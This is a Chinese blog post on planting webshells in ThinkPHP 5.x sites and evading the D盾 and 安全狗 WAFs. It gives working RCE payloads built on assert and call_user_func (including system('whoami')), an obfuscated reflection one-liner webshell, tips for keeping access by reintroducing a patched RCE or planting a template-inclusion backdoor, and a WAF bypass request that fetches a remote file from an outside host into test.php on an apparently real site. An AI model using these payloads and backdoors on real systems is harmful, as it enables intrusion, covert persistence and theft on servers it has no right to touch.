thinkphp下的Webshell&&php过D盾一句话


环境:

Thinkphp 5.0.15

PHP version:7.0.12

WAF: D盾 ,安全狗

Thinkphp 采用 MVC 模式 核心:模块 -> 控制器 –> 方法

思路:利用已经有的think 类包库 去做一些事情

利用已有的功能,顺便对D盾 绕过

方法:

Payload1:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo()

Payload2:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’)

代码:

<?php
namespace app\index\controller;
use \think\App;
class index
{
   public function index($f,$shell)
   {
       $a=new App();
       $c=$a->invokeFunction($f,$shell);
       return '</br> sucess';

   }
}

关于用这个的来源:

Thinkphp5 rce 漏洞 其中一个payload 是这样的

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

漏洞原因:默认没有开启强制路由,路由控制不严谨,可以执行自己需要的类库

在think 类库中找到自己需要的功能,进行触发调用

先贴一个不需要thinkphp 环境下 过D盾 和安全狗的 马

 <?php
function invokeFunction($function, $vars = [])
{
    $reflect = new ReflectionFunction($function);

    return $reflect->invokeArgs($vars);
}

$function='a'.'ssert';
$vars=$_GET[1];

invokeFunction($function,$vars);


?>

还有一种思路,创建类或者函数,进行包含绕过,有兴趣的可以自己试一下。、

然后对于thinkphp 权限维持的思路,因为本身内核存在RCE, -这里假设打了补丁的RCE 被某洞获得到权限

演示以thinkphp 最新版本 5.0.24

在Think\app.php 文件内,把! 删掉 就可以继续RCE 了 (只是提供一种维持思路)

后来想了下,这样对整个站点都不安全了,不适合维持。可以在前面在加一段IF 开关条件 符合就不执行preg_math 这一段,对RCE的漏洞入口进行一个管理操作~

就可以继续任意执行了

tp 在5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10。 在模板调用的时候 有任意文件包含漏洞,可以自己写一个,当作后门。

附赠:

关于thinkphp rce 绕WAF or 宝塔

这里用了宝塔做测试:

http://yishangtv.com/index.php?s=&echod=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

思路:绕敏感函数,和正则匹配

优质内容筛选与推荐>>
1、性能优化 | MySQL性能监控与调优
2、我本俗人
3、Zombie.js Insanely fast, headless full-stack testing using Node.js
4、实现一个名为Person的类和它的子类Employee,Employee有两个子类Faculty 和Staff。
5、剑指offer60 n个骰子的点数


长按二维码向我转账

受苹果公司新规定影响,微信 iOS 版的赞赏功能被关闭,可通过二维码转账支持公众号。

    阅读
    好看
    已推荐到看一看
    你的朋友可以在“发现”-“看一看”看到你认为好看的文章。
    已取消,“好看”想法已同步删除
    已推荐到看一看 和朋友分享想法
    最多200字,当前共 发送

    已发送

    朋友将在看一看看到

    确定
    分享你的想法...
    取消

    分享想法到看一看

    确定
    最多200字,当前共

    发送中

    网络异常,请稍后重试

    微信扫一扫
    关注该公众号





    联系我们

    欢迎来到TinyMind。

    关于TinyMind的内容或商务合作、网站建议,举报不良信息等均可联系我们。

    TinyMind客服邮箱:support@tinymind.net.cn